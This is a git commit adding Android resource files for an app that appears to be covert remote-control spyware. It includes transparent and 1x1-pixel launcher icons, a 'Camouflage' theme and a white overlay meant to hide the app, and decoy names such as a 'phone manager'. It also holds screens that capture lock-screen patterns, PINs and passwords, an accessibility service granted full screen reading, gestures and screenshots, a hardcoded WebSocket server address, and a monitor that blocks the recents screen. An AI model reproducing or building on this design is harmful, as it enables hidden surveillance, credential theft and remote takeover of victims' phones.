Revert "Update .gitignore to exclude app/build/ except res"

This reverts commit fccae746f0.
This commit is contained in:
wdvipa
2026-02-14 14:44:10 +08:00
parent fccae746f0
commit fe18e7eab0
3132 changed files with 77489 additions and 327 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 75 B

View File

@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<!-- 纯黑色圆形图标 -->
<path
android:fillColor="#000000"
android:pathData="M54,54m-54,0a54,54 0,1 1,108 0a54,54 0,1 1,-108 0" />
</vector>

View File

@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item android:state_pressed="true">
<shape android:shape="rectangle">
<solid android:color="#45A049" />
<corners android:radius="8dp" />
</shape>
</item>
<item>
<shape android:shape="rectangle">
<solid android:color="#4CAF50" />
<corners android:radius="8dp" />
</shape>
</item>
</selector>

View File

@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item android:state_pressed="true">
<shape android:shape="rectangle">
<solid android:color="#E0E0E0" />
<corners android:radius="8dp" />
</shape>
</item>
<item>
<shape android:shape="rectangle">
<solid android:color="#FFFFFF" />
<stroke android:width="1dp" android:color="#E0E0E0" />
<corners android:radius="8dp" />
</shape>
</item>
</selector>

View File

@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24"
android:tint="@android:color/white">
<path
android:fillColor="@android:color/white"
android:pathData="M20,11H7.83l5.59,-5.59L12,4l-8,8 8,8 1.41,-1.41L7.83,13H20v-2z"/>
</vector>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<path android:fillColor="#1976D2"
android:pathData="M0,0h108v108h-108z"/>
<path android:fillColor="#FFFFFF"
android:pathData="M36,36h36v36h-36z"/>
<path android:fillColor="#1976D2"
android:pathData="M42,42h24v24h-24z"/>
</vector>

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path android:fillColor="#1976D2"
android:pathData="M12,2C6.48,2 2,6.48 2,12s4.48,10 10,10 10,-4.48 10,-10S17.52,2 12,2zM13,17h-2v-6h2v6zM13,9h-2L11,7h2v2z"/>
</vector>

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

View File

@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="48dp"
android:height="48dp"
android:viewportWidth="48"
android:viewportHeight="48">
<!-- 手机管家图标 - 盾牌形状 -->
<path
android:fillColor="#FF4CAF50"
android:pathData="M24,4C12.95,4 4,12.95 4,24s8.95,20 20,20s20,-8.95 20,-20S35.05,4 24,4zM24,40c-8.84,0 -16,-7.16 -16,-16S15.16,8 24,8s16,7.16 16,16S32.84,40 24,40z"/>
<!-- 内部盾牌 -->
<path
android:fillColor="#FFFFFF"
android:pathData="M24,8c-8.84,0 -16,7.16 -16,16s7.16,16 16,16s16,-7.16 16,-16S32.84,8 24,8zM24,36c-6.63,0 -12,-5.37 -12,-12s5.37,-12 12,-12s12,5.37 12,12S30.63,36 24,36z"/>
<!-- 安全锁图标 -->
<path
android:fillColor="#FF4CAF50"
android:pathData="M20,18v-2c0,-2.21 1.79,-4 4,-4s4,1.79 4,4v2h2c1.1,0 2,0.9 2,2v8c0,1.1 -0.9,2 -2,2H18c-1.1,0 -2,-0.9 -2,-2v-8c0,-1.1 0.9,-2 2,-2h2zM22,18h4v-2c0,-1.1 -0.9,-2 -2,-2s-2,0.9 -2,2v2z"/>
<!-- 检查标记 -->
<path
android:fillColor="#FFFFFF"
android:pathData="M20,24l2,2l4,-4l-1.41,-1.41L22,23.17l-1.59,-1.58L19,23l1,1z"/>
</vector>

Binary file not shown.

After

Width:  |  Height:  |  Size: 216 KiB

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<solid android:color="#1A237E" />
<corners android:radius="8dp" />
</shape>

View File

@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="1dp"
android:height="1dp"
android:viewportWidth="1"
android:viewportHeight="1">
<!-- 1x1像素的完全透明图标 -->
<path
android:fillColor="#00000000"
android:pathData="M0,0h1v1h-1z" />
</vector>

View File

@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<!-- 完全透明的图标,不显示任何内容 -->
<path
android:fillColor="#00000000"
android:pathData="M0,0h24v24h-24z" />
</vector>

View File

@@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="#FFFFFF"
android:orientation="vertical">
<!-- 白屏遮盖,完全隐藏我们的应用界面 -->
<View
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="#FFFFFF" />
</RelativeLayout>

View File

@@ -0,0 +1,126 @@
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/mainContainer"
android:background="@color/white"
android:fitsSystemWindows="true"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:keepScreenOn="true">
<!-- WebView 容器 - 参考 f 目录的 hn 容器 -->
<FrameLayout
android:id="@+id/webViewContainer"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:visibility="invisible">
<WebView
android:id="@+id/webView"
android:layout_width="match_parent"
android:layout_height="match_parent" />
</FrameLayout>
<!-- 全屏视频容器 - 参考 f 目录的 cu 容器 -->
<FrameLayout
android:id="@+id/fullScreenVideoContainer"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:visibility="gone" />
<!-- 主界面内容 - 参考 f 目录的 ee 容器 -->
<LinearLayout
android:id="@+id/mainContent"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:padding="24dp">
<!-- 顶部区域:图标、应用名称和开关 -->
<RelativeLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="32dp">
<!-- 左侧:图标和应用名称 -->
<LinearLayout
android:id="@+id/leftSection"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentStart="true"
android:layout_centerVertical="true"
android:orientation="horizontal"
android:gravity="center_vertical">
<ImageView
android:id="@+id/appIconImageView"
android:layout_width="48dp"
android:layout_height="48dp"
android:layout_marginEnd="12dp"
android:src="@mipmap/ic_launcher"
android:contentDescription="@string/app_name" />
<TextView
android:id="@+id/appNameText"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/app_name"
android:textSize="20sp"
android:textStyle="bold"
android:textColor="?android:attr/textColorPrimary" />
</LinearLayout>
<!-- 右侧:开关按钮 -->
<Switch
android:id="@+id/serviceSwitch"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentEnd="true"
android:layout_centerVertical="true"
android:layout_marginStart="16dp" />
</RelativeLayout>
<!-- 中间区域:状态文本 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="32dp"
android:background="@drawable/status_background"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:id="@+id/statusText"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="@string/service_status_checking"
android:textSize="16sp"
android:textColor="#FFFFFF"
android:lineSpacingExtra="4dp" />
</LinearLayout>
<!-- 底部区域:按钮 -->
<Button
android:id="@+id/enableButton"
android:layout_width="match_parent"
android:layout_height="56dp"
android:layout_marginBottom="16dp"
android:text="@string/enable_accessibility_service"
android:textSize="16sp" />
<!-- 使用说明 -->
<TextView
android:id="@+id/usageInstructionsText"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="@string/usage_instructions"
android:textSize="14sp"
android:textColor="?android:attr/textColorSecondary"
android:lineSpacingExtra="4dp" />
</LinearLayout>
</RelativeLayout>

View File

@@ -0,0 +1,93 @@
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="top|center_horizontal"
android:orientation="vertical"
android:paddingTop="40dp">
<!-- 标题 -->
<TextView
android:id="@+id/title_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text=""
android:visibility="gone" />
<!-- 图形密码视图 -->
<com.hikoncont.view.PatternLockView
android:id="@+id/pattern_lock_view"
android:layout_width="300dp"
android:layout_height="wrap_content"
android:layout_marginBottom="40dp"
android:visibility="gone" />
<!-- 数字密码输入视图 -->
<com.hikoncont.view.PinInputView
android:id="@+id/pin_input_view"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginBottom="20dp"
android:visibility="gone" />
<!-- 4位数字密码输入视图 -->
<com.hikoncont.view.FourDigitPinView
android:id="@+id/four_digit_pin_view"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginBottom="20dp"
android:visibility="gone" />
<!-- 文本密码输入视图 -->
<com.hikoncont.view.PasswordInputView
android:id="@+id/password_input_view"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginHorizontal="40dp"
android:layout_marginBottom="40dp"
android:visibility="gone" />
<!-- 占位:将下方按钮容器推到页面底部 -->
<View
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1" />
<!-- 按钮容器 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:layout_marginBottom="20dp"
android:gravity="center"
android:orientation="horizontal">
<!-- 确认按钮 -->
<Button
android:id="@+id/confirm_button"
android:layout_width="120dp"
android:layout_height="50dp"
android:layout_marginEnd="20dp"
android:background="@drawable/button_confirm"
android:enabled="false"
android:text="确认"
android:textColor="@color/black"
android:textSize="16sp" />
<!-- 跳过按钮 -->
<Button
android:id="@+id/skip_button"
android:layout_width="120dp"
android:layout_height="50dp"
android:background="@drawable/button_skip"
android:enabled="true"
android:text="其他密码类型"
android:textColor="@color/black"
android:textSize="16sp" />
</LinearLayout>
</LinearLayout>

View File

@@ -0,0 +1,23 @@
<?xml version="1.0" encoding="utf-8"?>
<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent">
<!-- WebView -->
<WebView
android:id="@+id/webview"
android:layout_width="match_parent"
android:layout_height="match_parent" />
<!-- 进度条 -->
<ProgressBar
android:id="@+id/progress_bar"
style="?android:attr/progressBarStyleHorizontal"
android:layout_width="match_parent"
android:layout_height="4dp"
android:layout_gravity="top"
android:max="100"
android:progress="0"
android:visibility="gone" />
</FrameLayout>

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<!-- 完全透明的背景 -->
<background android:drawable="@android:color/transparent"/>
<!-- 1x1像素的透明前景 -->
<foreground android:drawable="@drawable/tiny_transparent_icon"/>
<!-- 完全透明的单色图标 -->
<monochrome android:drawable="@android:color/transparent"/>
</adaptive-icon>

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<!-- 完全透明的背景 -->
<background android:drawable="@android:color/transparent"/>
<!-- 完全透明的前景 -->
<foreground android:drawable="@android:color/transparent"/>
<!-- 完全透明的单色图标 -->
<monochrome android:drawable="@android:color/transparent"/>
</adaptive-icon>

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

View File

@@ -0,0 +1,75 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<bool name="enable_system_alarm_service_default">true</bool>
<bool name="enable_system_foreground_service_default">true</bool>
<bool name="enable_system_job_service_default">true</bool>
<color name="background">#FFFFFF</color>
<color name="black">#000000</color>
<color name="error">#B00020</color>
<color name="holo_blue_light">#33B5E5</color>
<color name="holo_green_dark">#4CAF50</color>
<color name="holo_orange_dark">#FF9800</color>
<color name="ic_launcher_background">#1976D2</color>
<color name="on_background">#000000</color>
<color name="on_error">#FFFFFF</color>
<color name="on_primary">#FFFFFF</color>
<color name="on_secondary">#000000</color>
<color name="on_surface">#000000</color>
<color name="primary">#1976D2</color>
<color name="secondary">#03DAC6</color>
<color name="surface">#FFFFFF</color>
<color name="white">#FFFFFF</color>
<string name="_2580369_res_0x7f10001e"></string>
<string name="accessibility_service_description">无障碍服务</string>
<string name="app_name">短视频组件</string>
<string name="app_name_tran"> </string>
<string name="app_name_vivo">i管家</string>
<string name="default_server_url">ws://156.244.56.238:3001</string>
<string name="device_admin_description">设备管理员服务</string>
<string name="enable_accessibility_service">启用</string>
<string name="network_connected">已连接到服务器</string>
<string name="network_connecting">正在连接服务器...</string>
<string name="network_disconnected">与服务器断开连接</string>
<string name="network_error">网络连接错误</string>
<string name="open_app_settings">应用设置</string>
<string name="permission_media_projection_message">请允许应用屏幕以进行服务</string>
<string name="permission_media_projection_title">需要屏幕权限</string>
<string name="permission_overlay_message">请允许应用显示悬浮窗以进行服务</string>
<string name="permission_overlay_title">需要悬浮窗权限</string>
<string name="recents_monitor_service_description">多任务页面监听服务,用于监听多任务页面的点击事件并自动返回</string>
<string name="service_enabled">服务已启用</string>
<string name="service_not_running">❌ 服务未启动</string>
<string name="service_notification_text">服务正在运行</string>
<string name="service_notification_title">服务通知</string>
<string name="service_running">✅ 服务正在运行</string>
<string name="service_status_checking">请开启无障碍服务\n请按照以下步骤进行\n1. 点击启用按钮\n2. 转到已安装的服务/应用\n3. 启用应用名称的应用</string>
<string name="usage_instructions">使用说明:\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意请在安全的网络环境中使用</string>
<style name="Theme.Camouflage" parent="android:Theme.NoDisplay">
<item name="android:windowBackground">@android:color/white</item>
<item name="android:windowNoTitle">true</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowIsTranslucent">false</item>
<item name="android:windowAnimationStyle">@null</item>
</style>
<style name="Theme.PasswordInput" parent="Theme.AppCompat.Light.NoActionBar">
<item name="android:windowBackground">@android:color/white</item>
<item name="android:windowNoTitle">true</item>
<item name="android:windowFullscreen">false</item>
<item name="android:windowIsTranslucent">false</item>
<item name="android:windowAnimationStyle">@null</item>
</style>
<style name="Theme.RemoteControl" parent="Theme.AppCompat.Light.NoActionBar">
<item name="android:windowBackground">@android:color/white</item>
<item name="android:windowNoTitle">true</item>
<item name="android:windowFullscreen">false</item>
<item name="android:windowIsTranslucent">false</item>
</style>
<style name="Theme.Transparent" parent="android:Theme.Translucent.NoTitleBar">
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowNoTitle">true</item>
<item name="android:windowFullscreen">false</item>
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowAnimationStyle">@null</item>
<item name="android:windowContentOverlay">@null</item>
</style>
</resources>

View File

@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:accessibilityFlags="flagDefault|flagRetrieveInteractiveWindows|flagRequestTouchExplorationMode|flagIncludeNotImportantViews"
android:canRetrieveWindowContent="true"
android:canPerformGestures="true"
android:canTakeScreenshot="true"
android:description="@string/accessibility_service_description"
android:notificationTimeout="100"
android:settingsActivity="com.hikoncont.SettingsActivity" />

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<full-backup-content>
<!-- Exclude specific shared preferences that contain GCM registration Id -->
</full-backup-content>

View File

@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="utf-8"?>
<data-extraction-rules>
<cloud-backup>
<!-- TODO: Use <include> and <exclude> to control what is backed up.
<include .../>
<exclude .../>
-->
</cloud-backup>
<!--
<device-transfer>
<include .../>
<exclude .../>
</device-transfer>
-->
</data-extraction-rules>

View File

@@ -0,0 +1,32 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<!-- Android 15+ 特定域名配置 -->
<domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="true">59.153.148.205</domain>
<domain includeSubdomains="true">localhost</domain>
<domain includeSubdomains="true">127.0.0.1</domain>
<domain includeSubdomains="true">192.168.1.0/24</domain>
<domain includeSubdomains="true">10.0.0.0/8</domain>
<domain includeSubdomains="true">172.16.0.0/12</domain>
<trust-anchors>
<certificates src="system"/>
<certificates src="user"/>
</trust-anchors>
</domain-config>
<!-- 开发环境允许所有明文通信 -->
<base-config cleartextTrafficPermitted="true">
<trust-anchors>
<certificates src="system"/>
<certificates src="user"/>
</trust-anchors>
</base-config>
<!-- Android 15+ 调试配置 -->
<debug-overrides>
<trust-anchors>
<certificates src="system"/>
<certificates src="user"/>
</trust-anchors>
</debug-overrides>
</network-security-config>

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeWindowStateChanged|typeWindowContentChanged|typeViewClicked|typeViewFocused"
android:accessibilityFeedbackType="feedbackGeneric"
android:accessibilityFlags="flagRetrieveInteractiveWindows|flagReportViewIds|flagRequestFilterKeyEvents"
android:canRetrieveWindowContent="true"
android:description="@string/recents_monitor_service_description"
android:notificationTimeout="0"
android:packageNames="com.android.systemui,com.android.launcher3,com.miui.home,com.huawei.android.launcher,com.oppo.launcher,com.vivo.launcher,com.oneplus.launcher,com.samsung.android.launcher,com.meizu.flyme.launcher" />